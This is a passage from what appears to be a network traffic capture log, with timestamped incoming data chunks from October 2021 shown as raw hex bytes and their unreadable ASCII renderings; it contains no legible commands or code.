2021-10-28 20:43:28 UTC	300	IN	Data Raw: 26 a0 ce c0 d5 94 e4 1e 36 cf 2b d1 b9 a1 e4 74 31 2e 29 45 f0 bd c0 d5 cb d2 52 1f 43 14 7e f8 65 cd 1c bf ff ea 44 f8 71 eb 1f 48 46 82 bd d1 bb 65 7d 63 5f 38 af ea ac 18 ad 5f e8 f5 18 8d b8 ce 99 0e 25 a6 80 78 15 96 1b d1 c6 db 09 63 d3 d7 bc 0e fa 86 0e 7a a3 be 2c 71 aa 06 22 8c 1b 58 78 47 24 a7 a1 8a fe 45 d2 3d 6a e0 70 15 83 ed bb 82 b8 45 94 61 ac 31 d4 1f af e7 cb be 76 65 5f f3 88 8a a5 4e d6 a6 85 b5 3b 9c 45 a7 6d 54 91 f6 09 6e 24 50 b2 96 7c 57 aa 53 30 36 fa 9a 4d 6a 52 76 c8 4e 03 4b 7d 31 ea e9 6d 70 75 c5 d8 60 fb 76 c7 8e bc 65 45 83 af e5 85 38 9a 54 d6 f1 df 8d 1d 54 3b d3 4d ed 84 a8 eb 7e 25 7f 21 79 bb c2 39 b4 0e db f2 ec 98 fc 41 20 e7 6b d1 a8 9c 1d b1 bc cc 53 46 ef 15 19 02 e1 7a db 20 6c 84 23 b2 18 00 e6 d7 41 b3 79 54 Data Ascii: &6+t1.)ERC~eDqHFe}c_8_%xcz,q"XxG$E=jpEa1ve_N;EmTn$P\|WS06MjRvNK}1mpu`veE8TT;M~%!y9A kSFz l#AyT
2021-10-28 20:43:28 UTC	316	IN	Data Raw: 49 29 90 1b 07 81 0e fc e8 83 67 10 be c0 fb a6 ff 8b d8 d3 6c 79 57 cb 47 11 15 99 29 63 95 26 a2 a4 16 bc c9 3f a6 89 c5 07 4e 4c 89 4d ec 16 cd 88 75 b4 d8 e2 fa 84 71 56 b1 1d 40 02 9d a3 25 1a 74 fa 9e 47 19 da e0 ad d0 2f c8 73 c0 ea e1 95 8d 4e b7 9c 28 5d 2f eb e8 cd 48 2e 4c ff b2 bd 35 41 84 21 94 f5 f1 e1 45 dc 3e 4e 28 c6 b6 77 59 92 18 df 2e 4c 0a 21 ac 7e eb 66 65 b5 03 8f 0b d5 a1 26 6b 8d 75 e2 f9 87 ad d0 27 0e 57 42 9b 9f c6 19 ae b9 63 3b 22 ba 81 56 df 4e a1 e4 94 4f 4f 06 a3 2b 54 fd a7 e6 96 46 92 fb f5 1f a9 c4 08 c1 ad da 7f ed da 20 fc 25 92 b5 ee 5b d9 f0 77 cf 1f 72 a1 63 15 1d 3e 04 8d 6b 40 da f2 e4 7a 95 91 46 16 3e 5a fd d8 d4 c9 45 18 4e cb 17 ba 43 08 e5 bc bb fa 4b 1a 91 37 70 91 bc 6b 2e 7c 18 5f b7 9f 30 52 cf e7 fd c7 Data Ascii: I)glyWG)c&?NLMuqV@%tG/sN(]/H.L5A!E>N(wY.L!~fe&ku'WBc;"VNOO+TF %[wrc>k@zF>ZENCK7pk.\|_0R
2021-10-28 20:43:28 UTC	332	IN	Data Raw: f5 37 f1 dc e3 46 f3 1f 3d 89 98 64 14 14 28 48 44 11 87 ad 72 87 a2 13 c1 2b db 76 b4 c5 77 b1 24 70 27 fa 64 40 54 da 45 dd bc 33 54 a1 d5 d5 65 fe 6e 3c bd ac c2 79 e9 1a ab 9a 68 18 46 89 5e 16 f9 ef 02 12 41 97 a1 b0 7f b0 8e 2b ea 65 ff 6f 45 ca f6 82 83 18 af 9e 2a 2e c5 e5 31 91 84 a5 ab d9 95 55 d0 69 e0 48 cc a0 bf 4a ef b6 09 6a 0a 0f 44 11 b4 ab f4 c0 97 1d 47 c4 e8 52 16 d8 e0 71 f1 03 d6 12 4e 8a 31 65 99 d0 e4 52 93 df 37 5f 03 e0 5e 8c 9c 72 f0 fb 14 cb 62 ad ab b3 1e ea 68 aa 92 fe cc 69 12 40 61 ed a7 b0 db dc 49 c6 e2 89 94 d6 b2 c6 cb 4a 70 c4 6c bf 1d f0 ee ae 9d cf e2 01 9d 40 76 65 0b 85 e5 d1 e0 d9 fc c2 13 5b a1 b6 ff 52 b9 ea 75 57 85 09 1a 24 f5 dc ab 08 b1 32 26 e2 42 74 3a 1d 2a d3 b1 fc a8 b4 26 94 3f 52 38 99 ab 0b 0d ac 5a Data Ascii: 7F=d(HDr+vw$p'd@TE3Ten<yhF^A+eoE.1UiHJjDGRqN1eR7_^rbhi@aIJpl@ve[RuW$2&Bt:&?R8Z
2021-10-28 20:43:28 UTC	348	IN	Data Raw: 9f 66 53 55 66 38 c9 cf 2d 7f e1 bf 11 34 62 9b f6 58 f0 58 3d af fa a2 b5 3c 5b ca 5d 05 09 73 29 14 65 f5 7a 28 07 28 59 eb ca 81 d6 4c 36 23 87 46 da 90 d4 01 42 58 12 4f 4e 90 66 c3 1c 76 d4 28 78 7b ce d9 32 ac 16 bb 4f 50 05 0f 96 14 ed 5e 38 45 e3 de 4d bb 2a ef 3d c9 9b fa a3 87 ab 06 c7 b2 70 cf e4 97 2a 31 12 3f 75 96 e4 24 a5 88 97 4c 3a c7 90 a8 1e 88 61 00 b4 54 68 5f ee bb 65 09 40 60 96 9f 10 25 67 87 06 a4 b5 83 f5 9d 97 84 ec 00 2e 6b 74 b2 02 8c 23 32 85 57 3f e7 76 95 e7 f8 7b a3 ea 57 c2 6d 79 8a 64 54 87 5b e7 1d 8a 3f 77 55 84 ba 65 15 60 e7 ef d1 30 51 ea 4a 14 78 36 bc f8 bd b7 2c c5 31 de 3f 9b ce 24 0c 56 98 bf a8 65 2a 70 c2 ff e1 f6 50 d6 69 e0 a3 f5 76 c9 a0 bf 6c 9d bd 57 c6 61 60 0e 30 2c 57 53 01 39 e0 ab 70 88 3f 40 27 e9 Data Ascii: fSUf8-4bXX=<[]s)ez((YL6#FBXONfv(x{2OP^8EM=p1?u$L:aTh_e@`%g.kt#2W?v{WmydT[?wUe`0QJx6,1?$Ve*pPivlWa`0,WS9p?@'
2021-10-28 20:43:28 UTC	364	IN	Data Raw: 62 05 77 69 c3 37 66 d8 c5 9c a0 8d 34 ea ca 3c 8b c6 18 95 42 73 94 01 e1 df 9e 77 ef fb 0b 3f 2e ca 2b bb a6 ea e1 79 13 56 75 2e 7b 0b f1 09 d9 02 a1 c0 71 d0 68 cb 06 79 be 8d 50 25 89 60 64 f8 dc a9 9c 19 f2 62 8c d8 3d ad c0 6c 21 97 dc c3 91 ae f3 62 2d 15 7c 60 35 5d 29 64 05 fc 8f b8 6c ad fc 42 fe 39 34 92 e1 43 b2 d3 5e a2 c8 a7 1e 50 8d 78 fc 24 12 1a fd 92 f8 23 b2 5d ba 61 6d ed 79 14 b1 35 af 36 96 69 a7 52 a6 d2 b1 82 c8 67 5b 4d fd 2c 9f 8b 2d 39 44 f9 7d 15 b5 3f 33 e0 16 a3 ca eb ca e3 5b 83 16 0b 50 55 6d b5 f0 0c e0 f2 44 02 53 9d 89 80 a0 9f 74 03 0c 2b 2b 20 3a 48 25 36 dc e4 4a 72 4a bb ac bb 9b cf f4 f5 85 5f 7e 84 f0 e7 d1 27 7e c4 61 51 58 60 99 9e 87 fe 00 48 7a 78 e8 1e b8 d8 58 a1 8b 48 11 2b ff 4a f4 f8 ee 4f 55 3f 44 83 6d Data Ascii: bwi7f4<Bsw?.+yVu.{qhyP%`db=l!b-\|`5])dlB94C^Px$#]amy56iRg[M,-9D}?3[PUmDSt++ :H%6JrJ_~'~aQX`HzxXH+JOU?Dm
2021-10-28 20:43:28 UTC	380	IN	Data Raw: a8 42 b0 1c ff ba a6 6a 85 86 2f d4 9a 8d 1d 68 85 dd ae cc 15 44 d3 9e 33 79 b2 84 91 c9 df 30 91 4a c6 32 c6 48 31 07 47 36 9d e5 70 e2 b0 51 ed 3a 4a 3c fd 8f 28 1c d6 47 52 93 5e ee c4 05 56 80 03 ab c4 97 61 f3 2e 52 0f 27 b5 90 90 2e 61 dc 74 4e 03 50 b3 ed 73 53 bd 5d 71 9d 05 d1 77 ec 59 f9 0d 44 76 e1 22 e9 f3 ae 3d 92 9c 7a 51 b9 02 ec 44 04 5b cc 4f f9 9d 1f be e8 9a 23 81 95 98 71 c5 c4 ad 3b ab 1d 36 b9 b9 92 05 96 db ef c0 4b a3 89 3a f6 76 17 2f 7a 30 b7 40 50 2b 24 81 74 f9 3b f3 7f 8a 87 9c a7 c3 3e ad 31 f5 eb e5 43 1a de bd 5d d5 23 c7 7c 96 18 dc 10 f3 cc 97 db a4 6c f1 a7 04 56 4e 54 3f 84 6a 62 da da 55 d8 82 cb 0f b1 1a 40 e7 c7 ee 20 6d 73 3e 79 e9 eb a7 99 f0 2a ae a8 9a e5 4f b0 d0 d0 e4 ca 2d 1d d1 ee 6b 5f a6 5c 51 24 fc 06 dd Data Ascii: Bj/hD3y0J2H1G6pQ:J<(GR^Va.R'.atNPsS]qwYDv"=zQD[O#q;6K:v/z0@P+$t;>1C]#\|lVNT?jbU@ ms>y*O-k_\Q$
2021-10-28 20:43:28 UTC	396	IN	Data Raw: ef 3c 5f 55 81 c7 58 1b e0 dd fd f7 2a be 62 bc 38 48 7c 28 f0 78 6d 1d 0f a9 c8 43 eb b4 1f 47 1f 1a 55 57 27 ea ee ce 56 60 04 f6 fb 83 a5 43 64 e7 4f c3 2e 31 62 b4 24 a6 e6 b0 8a bc c6 93 fd bb 68 15 da a6 db 8a 1a 16 5f fe ba 44 da 06 91 31 bb 88 b5 75 f4 b2 ba 72 d8 43 f1 fc 0e d1 87 b6 e8 a0 80 46 cc 4c 1f d6 ce 9b 93 36 69 88 f9 fe 46 88 f2 21 c9 e2 a6 5a ec f2 bf 79 0d 52 f1 b8 0f 41 63 de d0 31 77 64 f7 69 71 84 58 7e 7a b4 c9 2c 02 a4 58 cb f7 21 f6 03 7c 1e 95 f3 91 ba 1e cc 8d c9 89 a3 ec 49 f8 31 bb 0a 00 a3 83 9f 30 dd 5f 39 26 43 3e 38 3d f8 2c ab 3b 10 cd 7e 13 0f 87 e2 8d 2b 52 30 1b 5c 41 98 3a b2 38 37 3c 67 25 ce 7f b9 b5 65 cf 9d 28 19 bd 67 ef 68 57 60 c4 a0 74 2a 60 dc 3d 30 26 b6 a3 f3 1d 2a 7f 16 8d 14 88 17 f7 66 f5 ae dc 03 9d Data Ascii: <_UXb8H\|(xmCGUW'V`CdO.1b$h_D1urCFL6iF!ZyRAc1wdiqX~z,X!\|I10_9&C>8=,;~+R0\A:87<g%e(ghW`t`=0&*f
2021-10-28 20:43:28 UTC	412	IN	Data Raw: eb 25 e4 27 09 36 d1 47 c5 90 4a b9 e2 c3 42 3c ed fc c4 5d 66 10 f4 d4 71 f7 2a 28 3f 8d c7 ca 93 70 7f 3e 0e f0 40 ff 4f 10 79 1b cb 9f 6d be 16 24 4c 99 36 b4 aa 43 44 b6 9c 20 03 fb f7 f4 56 54 4d 5b be 2d c7 5c 27 b2 63 13 0d 00 d3 d2 ae 90 95 c5 1e ef 5b 23 da 34 cc eb d6 c8 72 3d a3 69 ba 3c 3a 06 96 1f 18 80 32 6f 64 ce 64 fa e6 ab d4 9a 76 c4 58 08 f8 d5 61 de 0d bf 97 53 f0 7a 8b 22 8b ed 80 4c ac ba 3e 7c ac 67 6b db 78 b9 5c 5f cd ee d0 14 76 ae 1d 55 a8 82 92 2a 8e 09 28 ce 0c 20 9c 46 c2 05 18 59 55 59 14 f2 c8 49 d4 b7 7c c1 69 4e 51 e4 19 73 e2 ad 11 a1 bd 71 eb 6b a8 c4 f5 4a ae 0b 43 f4 90 74 5d 68 7a 28 e2 52 4c 03 d5 fa 17 9a 76 19 13 61 8a 21 b0 f0 df 6e c8 5c 5d ba 9f 68 f3 aa 5e 52 ae 8a 26 ef a3 63 af d5 0d 9b 50 b8 2a dc af ce f8 Data Ascii: %'6GJB<]fq(?p>@Oym$L6CD VTM[-\'c[#4r=i<:2oddvXaSz"L>\|gkx\_vU( FYUYI\|iNQsqkJCt]hz(RLva!n\]h^R&cP*
2021-10-28 20:43:28 UTC	428	IN	Data Raw: 03 db 40 26 01 77 96 ec ff f7 3d fc c6 a3 6d 6d 86 84 84 de bc c9 47 8b 20 6c 29 a0 13 a3 2a 66 cb d5 5d 49 c0 b6 86 e5 0f 95 b0 36 1a 33 29 b5 ee fb 47 3d 44 f3 a1 6e e5 20 f9 0a 22 86 0d 33 8e 5c 48 21 7b 79 98 ee bf ce 54 2d b5 32 ec 2a 7d 1c 14 49 2a 3f 3f c7 73 6f 64 b1 21 c4 6c 87 ae f6 02 55 b4 ea 8c 1d f7 b4 3f 5b e0 0b f2 fb dc ef f1 00 69 b7 62 ef ba 61 78 f1 f3 d5 1e ae a9 28 9c d4 20 b5 e5 db 5c d2 b3 df fe df 55 68 26 6b 02 91 3c 25 e7 70 6b 79 b6 62 28 94 bd f6 c0 0a a8 53 4f e2 87 bc 60 4a 08 dc bf 21 9f f3 29 f7 9b 09 6c 06 40 94 ec 89 57 14 9d c0 88 c4 90 3f 7d 9e c8 3b 58 ca b8 ad da 5a 2d 82 b3 4b be a3 f5 69 8e 45 64 10 e5 86 1a a6 3a 1f c4 5d d8 e4 d2 0b 2d 54 87 b7 cf 91 9a dc ae 8b b0 f7 2a fb 10 ef 83 de d2 2a 18 e5 81 7e c2 c7 40 Data Ascii: @&w=mmG l)f]I63)G=Dn "3\H!{yT-2}I??sod!lU?[ibax( \Uh&k<%pkyb(SO`J!)l@W?};XZ-KiEd:]-T*~@
2021-10-28 20:43:28 UTC	444	IN	Data Raw: 2f 67 2e d6 c6 f4 58 26 4a 44 3f df 5a 7c 38 4c c9 5d 2d ab c5 22 61 0a 3b ad 9f 93 bf 23 b4 12 9c cc 8f c8 d0 68 7b f4 53 0e bb 46 a8 02 25 8f a9 16 72 d4 c5 ef 78 5a 30 1b 45 ee cd 22 70 9b f3 46 c2 29 17 13 ec dc 40 40 26 58 45 3b 23 5a 05 05 7f 82 f1 6d dc bf 8f 6b 4d 28 a8 50 6e 6d 3d 2c 8f 51 86 e6 1c 96 65 f6 9e 53 4a 92 a3 63 e5 b8 5e 02 d9 93 16 30 27 e6 57 00 d3 77 24 ab 09 7e 3f d9 e4 db e0 4a 7d 7b 6e 0d 18 75 db 69 af 5c a6 e4 1c 49 3d 3d 9c f0 44 ff c7 2d 23 3a f6 c0 33 b1 48 0f 36 08 2a 26 77 94 16 42 82 48 83 f2 f1 eb d8 ec 1e a4 6a ad cb df 43 ad 09 99 60 fb 9a 3c 8b 0e 05 ac c1 ea 13 3c fd 19 0f 0d ed ed 70 2e ca a2 df 32 63 23 1d b9 2c f3 93 6b 9f 72 45 cb 62 88 c2 6a 67 b7 64 18 09 6d 35 19 bf 40 20 d5 f0 cf c8 61 ee 12 33 dc 0f d0 8a Data Ascii: /g.X&JD?Z\|8L]-"a;#h{SF%rxZ0E"pF)@@&XE;#ZmkM(Pnm=,QeSJc^0'Ww$~?J}{nui\I==D-#:3H6*&wBHjC`<<p.2c#,krEbjgdm5@ a3
2021-10-28 20:43:28 UTC	460	IN	Data Raw: b2 4b 6d d4 1d 72 3f 7e 5c da ff f6 64 a2 85 0c 1c 8f f4 ff 24 71 31 1e bd 81 5b fb dc 1e 28 24 4b f6 c6 64 ae bc 1b 31 3a 09 8b 25 1b 11 6b be 22 7b 9f 9c 7b 74 89 46 89 43 1a dc 2c 71 44 82 0a 63 f4 df ac a7 da 00 11 ce 40 db d9 db b1 c2 75 cb b2 ad ae 5d ec 23 e2 1b da e3 fd 3f e2 59 5d 48 9c 32 9b 87 8e ac 39 b9 c4 be 1e 36 97 fd 6f 95 eb 83 ae d9 53 89 c2 66 73 fe ec a1 87 da 22 d4 4e 8b d6 2c 96 c8 69 42 c3 2a 1a 86 cd 15 ab 2c 6f 24 26 11 a1 e1 cd 5e ab c3 5b 9a 5a 0a 11 00 b0 ac 5f 6f 00 17 24 5b d6 a8 bb b8 0c c6 2a 3f 35 43 d1 46 a7 5a ba 07 ab 8e b4 fe c3 32 3b 9b ea 1a ed ed 50 c3 50 2a 42 e2 7f 4c ad c5 f8 18 30 cd 4a a1 ea 98 35 ad cc 30 38 6d 58 42 8b 40 fd 23 a6 90 22 41 8d a6 b7 1a c0 31 6a 66 e5 fc f7 10 29 76 60 73 ba ce 72 63 92 df 18 Data Ascii: Kmr?~\d$q1[($Kd1:%k"{{tFC,qDc@u]#?Y]H296oSfs"N,iB,o$&^[Z_o$[?5CFZ2;PP*BL0J508mXB@#"A1jf)v`src
2021-10-28 20:43:28 UTC	471	IN	Data Raw: 7b a9 a1 2b 74 9f 5a bf 99 17 16 e1 58 e1 fc f7 02 75 08 aa c1 4b 44 54 72 5e a6 da 6f ec 05 e4 fb c7 45 fe e3 d6 34 13 e9 36 f8 4b 7f 04 a6 9b 4d a4 42 1a 82 d7 98 b0 3e ae 50 ed ca 36 c1 0d 14 cf d4 e0 67 87 ca 8a 9c f1 df f0 a0 7e a0 fa d3 97 68 e5 6d 95 5c a2 05 9c 0c a4 f6 67 07 72 63 09 a8 8d 85 a6 93 b9 59 d4 ce 93 f4 30 59 3f e4 cb 70 6d 63 3f e3 26 45 69 3c 5a 87 3c 2d 35 d2 f1 32 cf 86 e7 2b a6 a2 ca a4 ed 71 08 1e bd 4d 36 6a ac a7 8f 94 be dd 85 4b a9 eb 33 16 db 57 1c 19 ae ab 0e 3f 7a 23 7c 2e 67 0d 1f e4 cd bb 7c fe 90 06 59 e8 7f 28 c9 26 81 8d af 6a 04 7e 6d b1 8a db ef 4e 29 03 83 af 32 d5 0b 8a ec 6a 27 1b 90 7b 71 62 d2 a3 4f ae 6f ed 61 73 c1 e3 67 21 68 de ea 19 b5 22 85 25 d3 94 eb f1 cc d9 f7 9b cd 69 80 88 cc 8f 22 0a 4c bd dc d1 Data Ascii: {+tZXuKDTr^oE46KMB>P6g~hm\grcY0Y?pmc?&Ei<Z<-52+qM6jK3W?z#\|.g\|Y(&j~mN)2j'{qbOoasg!h"%i"L
2021-10-28 20:43:28 UTC	487	IN	Data Raw: 5a 73 9a 73 ab 35 78 6e 9f f3 c3 c7 f0 64 ed c3 9b ee 8e e7 10 03 92 4e 65 55 6d 2d bd 02 d2 f4 2c 65 68 4c 76 67 88 1d c0 7c 6d b8 e0 e9 e5 42 ef ee bb 73 b2 18 6b 9b 87 e7 48 a1 00 22 9e b1 a3 a4 74 20 15 4a ab b4 52 05 73 71 65 c8 44 62 5d 2a 0c 01 86 17 4e e3 52 8f 86 41 41 ea 18 26 ed 1a 51 44 9c b9 56 56 5a cb 77 8f 21 5b 3c 5c 6e a1 0c f7 ed 9e 37 ce 64 42 02 82 dc 2e 7d ac 37 ad 21 65 b4 81 e3 53 a0 19 7f 43 59 a8 03 f0 f7 34 d4 8e da 37 21 62 10 8d 29 2a 51 c2 c9 cc 5c 71 73 2b bf ac 96 99 2a 56 7e de cf a8 4c 6f 21 b7 81 3e 39 1f 3a b6 9e 2d 55 d1 b5 80 75 ce 87 39 44 e7 ff 2e 06 e2 66 d8 fe 26 0b 8c 75 87 c7 ed a5 24 1e a0 e8 07 83 48 a8 8b 10 15 af 3d db 1d 16 d0 6c 5e ae f4 c1 3e 69 98 9f b6 4b 8f f6 e0 c7 50 21 ea 1f 39 01 c0 43 52 cb e8 c3 Data Ascii: Zss5xndNeUm-,ehLvg\|mBskH"t JRsqeDb]NRAA&QDVVZw![<\n7dB.}7!eSCY47!b)Q\qs+*V~Lo!>9:-Uu9D.f&u$H=l^>iKP!9CR
2021-10-28 20:43:28 UTC	503	IN	Data Raw: a0 41 bf 3f 7d 6a 39 b9 16 23 3f dd 97 70 3e 9a 59 96 7e 8e 68 13 9b 4b 63 d1 74 72 a4 43 98 1e 6e e8 92 b8 33 3b 25 cf e3 20 dd 83 78 53 7d 42 33 ad f4 4d c2 ed f2 11 a8 61 a8 09 af 63 c1 1b 0d 57 03 97 23 7a 39 90 5c 07 5c 19 b4 a7 93 60 85 7d cf c5 34 7b a1 89 91 f2 db 04 33 c2 ce 67 f5 85 9a 42 cc 64 de 25 eb 50 fe ad 19 a2 cb ce 94 05 9d cb 82 cb f8 f7 cd ea 7b d0 82 72 cb 66 2c 01 44 d4 3a 30 84 5a b5 08 01 ff b9 f6 eb 30 0c a0 d5 d9 00 f5 97 26 38 ff e7 f1 ae 49 ac d4 0d a3 28 71 7f fe 5a 5c 5f fe e8 12 b5 42 98 cc e9 88 30 39 e4 5c 59 d2 1f b4 76 a9 b2 48 08 ec 3b 3c 37 a4 99 b1 85 ee 85 80 1b 7c 75 70 38 68 58 b1 7f ec b3 c6 eb 68 83 69 0f 8c af f7 68 99 69 94 55 e6 2c 64 28 18 73 ef 9b 14 e7 8d b5 14 e6 3c e3 31 29 92 e1 dd 14 81 a0 5d f9 8c 25 Data Ascii: A?}j9#?p>Y~hKctrCn3;% xS}B3MacW#z9\\`}4{3gBd%P{rf,D:0Z0&8I(qZ\_B09\YvH;<7\|up8hXhihiU,d(s<1)]%
2021-10-28 20:43:28 UTC	519	IN	Data Raw: 7b cb 30 8c 35 11 90 bb 69 37 b3 d0 78 3f 75 fd df 92 92 58 c7 ca 5f 76 5c ce 0e b8 2c e6 0c 48 46 0e fa 56 aa 29 62 c6 55 1b 4f 62 93 68 a6 1b ed 59 e9 35 bd 76 02 86 b3 2d ff 82 d2 d2 da 16 1c 85 eb 40 a4 45 ce 3b 68 e6 d7 48 b4 f4 b7 69 bb 64 22 64 ab 47 0e 2a 2d f8 36 4d cc c5 27 5c 4c c7 9b 5a ae 95 84 1e c4 ef e3 0d f0 f2 d3 b1 12 d2 86 ac a8 b8 0a c8 f9 f3 84 37 d5 2b 58 b6 3c 3c d2 fa e9 96 30 e5 03 50 d7 d5 cb 94 7e b6 ee 88 b6 eb d9 38 35 f0 24 e2 f4 ef be 05 f6 49 8a 60 29 25 49 bc 42 3f 40 26 be 3a 23 83 65 c7 1b 38 0e 1e 06 3c bb 5e 32 0e 1a a4 7f 63 69 51 f5 86 76 ca 34 1a 33 a7 28 a5 b1 39 df e9 2a 8f 8d 0a 85 30 8e 10 c3 4d a5 98 5a c3 f1 5a 07 c1 21 61 1b 6a 9c f5 51 5d 87 45 e5 09 0f 0a 75 ef e7 43 8d 71 6d e0 8c 44 a7 e7 f3 a6 23 ec fb Data Ascii: {05i7x?uX_v\,HFV)bUObhY5v-@E;hHid"dG-6M'\LZ7+X<<0P~85$I`)%IB?@&:#e8<^2ciQv43(90MZZ!ajQ]EuCqmD#
2021-10-28 20:43:28 UTC	535	IN	Data Raw: 98 86 fc 54 f9 0f 95 80 23 fd 14 96 3f d1 86 bb c2 30 24 88 0f fa e5 6c 37 17 fd 31 ac ff 47 fc f4 3d 86 4c 5a 4f 98 da 12 3e 7d 9e 6c b3 ec ef 3b 55 21 e4 15 24 4e fb 7e c7 a5 63 0c df c3 96 67 b3 fb e2 19 57 ee 43 5d a9 8e 04 6f 33 ed ce 7b 6b 61 a9 15 27 f7 fe ad 9a 5b aa 2a d5 25 bc e0 4e 21 ad 5d 7c b3 52 78 ef 3b e1 fa 79 e7 82 0d 50 47 72 84 fa 9e be d2 45 cf e9 2d 09 6d 98 84 30 8b d5 20 97 ec b5 6e 60 69 f0 f8 f4 7b ae 5c 5a c5 cc 92 96 0d 2f 3e d7 56 6c fa 00 79 92 86 12 49 4d 07 47 12 7e 8d 34 87 62 6e cd 65 56 05 1d 17 49 53 b1 f8 58 c4 a2 a3 7c 3d ff 14 99 64 7e e8 99 0a 2b 0c 90 c4 ab c7 a6 59 47 e8 c4 a6 d8 c2 5c dc aa 61 a9 2a 63 6f 57 33 a2 f9 a9 2e 80 aa e7 f3 7f b1 62 4b d3 e2 cb 9d bc a0 bb 3f d1 7a fb e3 7f e3 a7 cb 9c 7e 8b 06 69 55 Data Ascii: T#?0$l71G=LZO>}l;U!$N~cgWC]o3{ka'[%N!]\|Rx;yPGrE-m0 n`i{\Z/>VlyIMG~4bneVISX\|=d~+YG\acoW3.bK?z~iU
2021-10-28 20:43:28 UTC	551	IN	Data Raw: 21 1a ae f6 d8 2c d0 41 45 99 a5 5a 20 96 ab fc 36 ca 8c 32 3f fb cc 1b 2e d5 0f ab e0 d6 3c 9d 53 a1 99 66 5d 94 8e 14 b6 35 e6 5b a0 0e cb 09 94 ea 47 c4 a1 a9 6b 57 c3 b0 7d 6d 00 78 b6 9d 1c 83 c8 4d fc ff d3 f7 f2 b2 c0 d5 57 b7 cf 1f 48 a4 17 b3 0b bd c5 36 ee 5d 22 12 50 78 b2 9d 1d e7 af 61 0a 8a e2 09 48 8d 19 45 88 2a 5c f4 63 66 08 cd 6c 19 98 bf fa c1 c0 d3 ae 11 83 92 82 15 47 57 3b cf d0 e9 58 9f 29 b4 1e dd 4b ec 38 81 54 d2 63 04 3e fa ef d6 c0 ce 5f 3a 22 b5 aa c9 e0 13 8c 3d d2 9f 15 8e d8 75 1a 41 72 86 80 0a 70 94 a1 f2 a3 3a d2 01 12 89 11 d6 8c 83 b6 80 a3 37 0e f1 7f 4b 0b 62 88 58 d5 6f f8 64 25 3a 4a 49 2c c7 d8 46 a2 d2 61 54 bf 4b dd 52 d3 41 27 cc b9 41 c0 fb 65 f2 f4 0a f8 99 bf 9f 8f f6 8c 01 93 b1 ef 7c 1c cb db 60 a3 8d 35 Data Ascii: !,AEZ 62?.<Sf]5[GkW}mxMWH6]"PxaHE*\cflGW;X)K8Tc>_:"=uArp:7KbXod%:JI,FaTKRA'Ae\|`5
2021-10-28 20:43:28 UTC	567	IN	Data Raw: 4d 6b 2a 6a 7f 26 59 1f 00 1f 77 f7 23 29 b3 e8 d6 f0 0c ae 96 b3 b7 56 c5 d0 3c 59 b2 8f f2 45 a3 53 e1 b2 97 b9 a2 f8 96 4a fd 1d ac 42 29 51 25 71 68 ba 50 ff 0f 89 90 07 25 1b 69 ab 38 49 ed 67 af 64 57 32 48 38 db 3a 94 91 c4 a3 73 28 a0 d0 3b db 8d 22 02 1c e0 3c 5b 6f 32 9c 39 e6 0a b9 f8 12 2f 6f 3a b7 c4 98 5f 4a 5a d7 bf ed c8 a5 0d c6 99 65 65 42 98 00 54 f9 4a 11 97 91 2c 27 0d 84 42 e4 32 1b 99 50 08 57 5c b3 0c e6 f2 4b e7 09 ef 3f 93 d0 e9 84 e0 3f 6e 1c ba 4a 9f 46 da 95 29 3b ea 21 83 28 2d 43 77 8e 54 a2 81 31 b9 f5 ac 69 07 50 8e 6f bb 3a 8a f8 05 b1 6b 5c f8 74 11 f9 df d9 e2 13 50 65 24 f5 b7 42 81 8b bc 59 03 7b 50 ec 06 74 92 ac 25 8e 43 99 c1 b2 c5 d9 24 aa 20 ed 61 a1 8f 86 63 c1 7c 57 8c a2 4e dc c0 5d 05 e5 58 80 49 54 bd 9f d0 Data Ascii: Mk*j&Yw#)V<YESJB)Q%qhP%i8IgdW2H8:s(;"<[o29/o:_JZeeBTJ,'B2PW\K??nJF);!(-CwT1iPo:k\tPe$BY{Pt%C$ ac\|WN]XIT
2021-10-28 20:43:28 UTC	583	IN	Data Raw: 2b b0 78 b4 a1 43 59 8e 48 0a 8b 29 aa 73 c0 8b f4 47 e1 cf 27 32 91 d1 e9 8c 43 49 aa 06 b1 0f 77 28 b0 04 24 7b a0 b3 49 10 56 bf 25 96 cd ef 5f 8e 2e 30 dd a2 33 13 db 1d 68 3c a3 a5 7f 89 17 c9 d7 55 24 c7 05 cf c6 27 72 eb d5 76 18 c9 cf 88 ff aa 9c c0 89 ce 3a 9b b7 c1 63 d5 dc aa e5 10 cd 00 da 79 0d e4 47 c2 06 53 3c 66 f9 fc d2 bf c0 fd 36 b3 e0 74 bb 62 4f 19 1f f0 6f 5c ac b1 9d 34 7a ed 00 72 e2 bb ba 2d a5 c7 74 7e 7d 12 b6 cf 48 65 73 6a bb 8b 66 28 fa 3b 2e 45 27 25 48 1c 94 c5 8a 1c e5 6f c4 8c c6 92 51 0b 47 68 8a 9b ef 83 d9 0d aa 0b dd d4 60 39 7e 66 6a fc f0 c8 0b ee 3c 8d 49 7c 70 32 06 0a e3 48 3a a8 67 c3 47 85 a0 23 29 58 43 2e 05 63 f3 85 18 dd e7 df 4a 75 27 35 d4 78 2f 6c 19 fb 03 07 f4 46 fb 20 45 9c e9 bb 2e 2c a0 9b cf 0d 38 Data Ascii: +xCYH)sG'2CIw(${IV%_.03h<U$'rv:cyGS<f6tbOo\4zr-t~}Hesjf(;.E'%HoQGh`9~fj<I\|p2H:gG#)XC.cJu'5x/lF E.,8
2021-10-28 20:43:28 UTC	599	IN	Data Raw: e1 e0 b7 88 ce d7 06 40 86 67 31 0e de 2b 05 a5 68 25 4e bb 06 df c5 9a 57 6a 71 a1 ff 5e 99 c9 6b 48 12 28 b6 e5 d8 bc 04 a4 a6 3d 01 e5 f5 9c 36 ac 98 3a 1e 46 f1 06 c1 fd f7 e4 d6 c5 8a 69 51 6e f8 06 99 d9 68 b5 24 d2 81 46 e0 c0 b8 ec ab 13 bb 9f dd a8 e5 65 c4 79 e9 8c 0c bb fe 90 bd 35 f4 19 16 27 69 1a 75 9a 03 d1 c4 23 6b 61 20 30 ab 89 7a e3 3c f5 86 b2 cb fc 2d b8 45 89 e8 f1 37 4a f8 1e a3 67 4e ff 57 fb 6e 9d c3 13 0a a8 b1 a6 d2 f3 4a 2c d9 84 dd d6 8c e9 02 4b 94 d7 cd 91 64 76 70 81 b0 74 cd cc 50 07 c9 d8 12 e2 4e c0 fb bf 4f d8 04 71 ff 85 32 c1 d0 60 0a f6 e0 81 a6 97 8c 7c 1b 7b 01 6e 85 26 8d ae f8 a7 be f9 01 27 34 12 8a 23 74 f7 33 60 2b 6a 07 c7 c7 d5 00 dd 07 1e 88 74 87 4d b9 ce 59 58 ac 12 a6 64 14 61 de 96 a8 c3 3e 5c c5 6c 50 Data Ascii: 